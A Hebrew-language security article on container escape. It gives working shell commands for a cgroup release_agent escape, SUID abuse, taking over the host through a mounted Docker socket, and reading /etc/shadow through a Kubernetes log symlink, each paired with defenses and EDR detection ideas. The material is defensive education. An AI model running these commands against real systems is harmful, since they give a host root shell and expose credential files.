עליית שימוש בטכנולוגיות קונטיינריזציה בשרתי הענן, מכולות (Containers), הפכו לחלק מרכזי בתשתית ה-IT המודרנית. הן מאפשרות פיתוח, בדיקה ופריסה מהירה של אפליקציות, אך גם מביאות עמן אתגרים וסיכוני אבטחה ייחודיים. אחד הסיכונים המשמעותיים ביותר הוא "בריחה ממכולה" (Container Escape), שבו תוקף מצליח לצאת מהסביבה המבודדת של המכולה ולגשת למערכת ההפעלה המארחת. במאמר זה נבחן שיטות שונות לבריחה ממכולות, ננתח את ההשפעות, ונציג דרכים לזיהוי מפני התקפות מסוג זה, באמצעות מערכות EDR. כמו כן, נציע המלצות מעשיות למניעת סיכוני אבטחה במכולות.
מהי מכולה?
מכולה היא יחידת תוכנה סטנדרטית המכילה את הקוד וכל התלויות שלו, ומאפשרת להריץ אפליקציות במהירות ובאמינות על גבי סביבות מחשוב שונות. מבחינה טכנית, מכולה היא קבוצה של תהליכים הפועלים במרחב משתמש מבודד, אך משתמשים בליבה משותפת של מערכת ההפעלה. זה מבדיל בין מכולות למכונות וירטואליות (VMs), שבהן המערכת כולה, כולל הליבה, וירטואלית. במקרים מסוימים, מכולות משתמשות בוירטואליזציה קלה במקום בבידוד מלא של מרחב המשתמש.
מדוע משתמשים במכולות?
מכולות מאפשרות הפעלת מספר אפליקציות או שירותים על שרת אחד, תוך בידוד התהליכים של הרשת, המערכת, הקבצים ורכיבים נוספים.
באמצעות מנגנוני "מרחבי שמות" (Namespaces) ו"יכולות" (Capabilities) שמספקת מערכת ההפעלה והבידוד, מאפשר לאפליקציות לקבל סביבה מותאמת משלהן, מה שמקל על פיתוח ופריסה, משפר את האבטחה, ומייעל את השימוש במשאבי המערכת. בנוסף, מכולות מתאימות במיוחד לארכיטקטורות מיקרו-שירותים, שבהן אפליקציה מורכבת ממספר שירותים קטנים ומבודדים.
כיצד פועלות מכולות?
מכולות משתמשות במנגנונים של מערכת ההפעלה כדי לבודד תהליכים ומשאבים. האפליקציה שאחראית על ניהול המכולה נקראת "סביבת ריצה של מכולה" (Container Runtime), כגון Docker או Containerd. היא אחראית על יצירת תהליכים, הגדרת התכונות, הבטחת בידוד ועל ההרשאות המתאימות.
מרחבי שמות (Namespaces)
מרחבי שמות מאפשרים לתהליכים בתוך המכולה לראות רק את המשאבים המוקצים להם, כאילו הם היחידים במערכת. קיימים מרחבי שמות עבור מזהי תהליכים (PID), מערכת קבצים, רשת, IPC, משתמשים ומשאבים נוספים. זה מבטיח שתהליכים בתוך המכולה לא יכולים להשפיע על תהליכים או משאבים מחוץ לה.
יכולות (Capabilities)
במערכת ההפעלה Linux, הרשאות הסופר-משתמש (root) מחולקות ליכולות ספציפיות. זה מאפשר לתת לתהליך הרשאות מסוימות מבלי להעניק לו גישת root מלאה. לדוגמה, יכולת CAP_NET_ADMIN
מאפשרת ניהול הגדרות רשת, בעוד שיכולת CAP_SYS_ADMIN
מעניקה הרשאות ניהול מערכת נרחבות. על ידי הגבלת היכולות של תהליכים בתוך המכולה, ניתן למנוע מהם לבצע פעולות מסוכנות על המערכת המארחת.
בריחה ממכולה: סיכון משמעותי
בריחה ממכולה מתרחשת כאשר תוקף מנצל פגיעויות או קונפיגורציות של שגויות, כדי לצאת מהבידוד של המכולה ולגשת למערכת ההפעלה המארחת. זה יכול לאפשר לתוקף לבצע פעולות עם הרשאות גבוהות, לגנוב מידע רגיש, לשנות הגדרות מערכת, או להשבית שירותים קריטיים. במקרים מסוימים, בריחה מוצלחת ממכולה יכולה להוביל להשתלטות מלאה על המערכת המארחת, ולפגוע באבטחת הארגון כולו.
שיטות בריחה ממכולה
נבחן כעת מספר שיטות בריחה נפוצות, נבין כיצד הן פועלות, ונציע דרכים לזיהוי והתגוננות מפניהן.
1. ניצול release_agent
במנגנון cgroups
מנגנון ה-cgroups (Control Groups) משמש להגבלת שימוש במשאבים על ידי תהליכים. הוא כולל תכונה הנקראת release_agent
, המאפשרת להריץ פקודה כאשר cgroup מתרוקן מתהליכים. תוקף עם הרשאות מתאימות בתוך המכולה יכול לנצל זאת כדי להריץ פקודה על המערכת המארחת.
שלבים:
- יצירת תיקיה והרכבה:
mkdir /tmp/escape_cgroup && \ mount -t cgroup -o rdma cgroup /tmp/escape_cgroup && \ mkdir /tmp/escape_cgroup/escape_dir
- הפעלת
notify_on_release
והגדרתrelease_agent
:echo 1 > /tmp/escape_cgroup/escape_dir/notify_on_release host_path=$(grep ' / ' /proc/self/mountinfo | awk '{print $5}') echo "$host_path/host_script" > /tmp/escape_cgroup/release_agent
- יצירת סקריפט להרצה על המארח:
echo '#!/bin/sh' > /host_script echo "echo 'Container escape successful' > $host_path/escape_result" >> /host_script chmod a+x /host_script
- הוספת תהליך ל-cgroup:
sh -c "echo $$ > /tmp/escape_cgroup/escape_dir/cgroup.procs"
לאחר מכן, קובץ escape_result
על המארח יכיל את ההודעה, המוכיחה שהפקודה רצה על המארח.
כיצד להתגונן:
- לא להריץ מכולות עם הרשאות, כמו
--privileged
או עם היכולתCAP_SYS_ADMIN
. - להשתמש בפרופילי אבטחה כמו AppArmor או SELinux כדי להגביל פעולות.
- לעדכן את סביבת הריצה של המכולה לגרסה העדכנית עם תיקוני אבטחה.
2. העלאת הרשאות באמצעות סיבית SUID
סיבית SUID מאפשרת לקובץ הרצה לפעול עם הרשאות הבעלים שלו, ולא עם הרשאות המשתמש שמריץ אותו. תוקף בתוך מכולה יכול ליצור קובץ עם סיבית SUID ולנצל זאת להרצת קוד עם הרשאות root על המארח.
שלבים:
- יצירת קובץ הרצה בספרייה משותפת בין המכולה למארח:
echo -e '#!/bin/sh\n/bin/sh' > /shared/privilege_escalation.sh chmod +x /shared/privilege_escalation.sh
- הגדרת סיבית SUID לקובץ:
chmod u+s /shared/privilege_escalation.sh
- הרצת הקובץ על המארח כדי לקבל גישת root:
/shared/privilege_escalation.sh
כיצד להתגונן:
- להימנע משיתוף תיקיות בין המכולה למארח כאשר זה לא הכרחי.
- להריץ מכולות עם משתמשים לא-פריבילגיים, ולמנוע גישת root בתוך המכולה.
- להשתמש בהגדרות mount עם אופציה
nosuid
כדי למנוע הפעלת סיבית SUID.
3. ניצול Docker Socket
אם קובץ ה-Docker Socket (/var/run/docker.sock
) מורכב בתוך המכולה, התוקף יכול להשתמש בו כדי לתקשר עם Docker Daemon וליצור מכולות חדשות עם הרשאות מוגברות, או אפילו לבצע פקודות על המארח.
שלבים:
- שימוש ב-Docker CLI או בפקודת curl כדי לתקשר עם Docker Daemon:
docker -H unix:///var/run/docker.sock run -v /:/host_fs --privileged -it alpine chroot /host_fs /bin/sh
- כעת, התוקף נמצא בתוך המערכת הקבצים של המארח ויכול לבצע פעולות עם הרשאות root.
כיצד להתגונן:
- לא להרכיב את Docker Socket בתוך מכולות.
- להגביל את הגישה ל-Docker Socket באמצעות הרשאות מתאימות וקבוצות משתמשים.
- להשתמש בכלי אבטחה לניטור גישה ופעולות על Docker Socket.
4. התקפה דרך הרכבת לוגים ב-Kubernetes
ב-Kubernetes, תוקף יכול לנצל הרכבות של ספריית /var/log
כדי לגשת לקבצים רגישים על המארח, באמצעות מניפולציה של קישורים סימבוליים (symlinks).
שלבים:
- יצירת קישור סימבולי בתוך המכולה המצביע על קובץ רגיש במארח:
ln -sf /etc/shadow /var/log/pods/my-pod/test.log
- בקשת הלוג דרך Kubernetes API:
kubectl logs my-pod
- התוקף מקבל את תוכן הקובץ הרגיש.
כיצד להתגונן:
- להימנע מהרכבות מיותרות של ספריות מארח לתוך המכולות.
- להשתמש ב-VolumeMounts עם אופציה
readOnly: true
. - לעדכן את גרסאות Kubernetes וליישם תיקוני אבטחה.
5. ניצול הרכבות רגישות
תוקף יכול לגשת לקבצים או ספריות רגישות אם מכולה מכילה הרכבות ישירות לספריות כמו /etc
או /root
של המארח. זה יכול לקרות כתוצאה מקונפיגורציה שגויה או צורך עסקי.
כיצד להתגונן:
- לסקור ולבחון בקפידה אילו הרכבות מוגדרות למכולות.
- להימנע מהרכבות של ספריות או קבצים רגישים.
- להשתמש במדיניות אבטחה להגבלת הרכבות לאזורים מורשים בלבד.
זיהוי התקפות בריחה באמצעות מערכות EDR
מערכות EDR (Endpoint Detection and Response) מספקות כלים חזקים לזיהוי ותגובה לאיומי אבטחה בזמן אמת. כדי לזהות ניסיונות בריחה ממכולה, ניתן להשתמש בטכניקות הבאות:
- ניטור קריאות מערכת חריגות: זיהוי קריאות מערכת שאינן צפויות מתהליכים בתוך המכולה, כגון ניסיונות להרכיב מערכות קבצים או לשנות הגדרות רשת.
- מעקב אחר שינויים בהרשאות ובקבצים: זיהוי יצירת קבצים עם סיבית SUID, שינויים בהרשאות, או גישה לקבצים רגישים.
- התראות על גישה לממשקי API של Docker או Kubernetes: זיהוי ניסיונות לגשת ל-Docker Socket או ל-Kubernetes API ממכולות.
- מעקב אחר פעילות רשת חריגה: זיהוי תעבורת רשת יוצאת דופן מתהליכים בתוך המכולה.
- זיהוי תהליכים או חבילות חשודות: מעקב אחר התקנת חבילות חדשות או הרצת תהליכים שאינם חלק מהאפליקציה המקורית.
המלצות למניעת בריחה ממכולה
- הגבלת הרשאות ויכולות: להריץ מכולות עם ההרשאות המינימליות הנדרשות, ולהימנע משימוש ב-
--privileged
או מהענקת יכולות מיותרות כמוCAP_SYS_ADMIN
. - שימוש במשתמשים לא-פריבילגיים בתוך המכולה: להגדיר משתמשים עם הרשאות מוגבלות להפעלת התהליכים בתוך המכולה.
- הקשחת קונפיגורציה ואכיפת מדיניות אבטחה: להשתמש בכלים כמו AppArmor, SELinux או seccomp כדי להגדיר פרופילי אבטחה מגבילים למכולות.
- הגבלת הרכבות של ספריות וקבצים: להימנע מהרכבת ספריות רגישות לתוך המכולות, ולבחון בקפידה כל הרכבה הנדרשת.
- עדכונים שוטפים ותיקוני אבטחה: לעדכן באופן קבוע את מערכת ההפעלה, סביבת הריצה של המכולה, Kubernetes וכלי ניהול נוספים כדי לתקן פגיעויות ידועות.
- שימוש בכלי סריקה ואבטחה: להשתמש בכלים לסריקת פגיעויות בתמונות מכולות, כמו Clair או Anchore, כדי לוודא שהתמונות נקיות מפגיעויות.
- ניטור ותגובה מהירה: להטמיע מערכות EDR וכלי ניטור נוספים כדי לזהות ולהגיב במהירות לניסיונות התקפה.
- חינוך והדרכה: להדריך את צוותי הפיתוח והתפעול בנושאי אבטחת מכולות, ולהטמיע תרבות של מודעות לאבטחה.
לסיכום נציין, שהבריחה ממכולה היא איום ממשי שיכול לגרום לנזקים חמורים לארגון.
הבנת הסיכונים, זיהוי שיטות נפוצות ונהלי אבטחה מתאימים, אלה מפתחות חשובים לשמירה על אבטחת מערכות בסביבת קונטיינריזציה.
על ידי הגבלת הרשאות, הקשחת הקונפיגורציה, שימוש בכלי אבטחה מתקדמים והטמעת תהליכי ניטור ותגובה, ניתן לצמצם את הסיכונים וליהנות מהיתרונות הרבים שהמכולות מציעות.
אם אתם בתחום, הינכם יודעים שהטכנולוגיה ממשיכה להתפתח, וכך גם האיומים במגבן ביטויים, וטכניקות חדשות ומשונות. חשוב להישאר מעודכנים, ללמוד יותר על פגיעויות חדשות ולרדת לישנות, לחושב על אסטרטגיות האבטחה בהתאם.
בסופו של דבר, אין אפשרות לדעת הכול, אך להיות מעודכן, מאפשר מצב של שליטה בסיטואציה, ולתגובה מהירה. ולא פחות מכל הנאמר, ידע והכשרה עצמית, מוסיף לבעל מקצוע ניסיון, ומבליט אותו מבעלי מקצוע אחרים, ומעניק לו את השם "המקצוען" שמפרש את הרמה הגבוה ביותר.
תבואו לבקר, הישארו מעודכנים 😊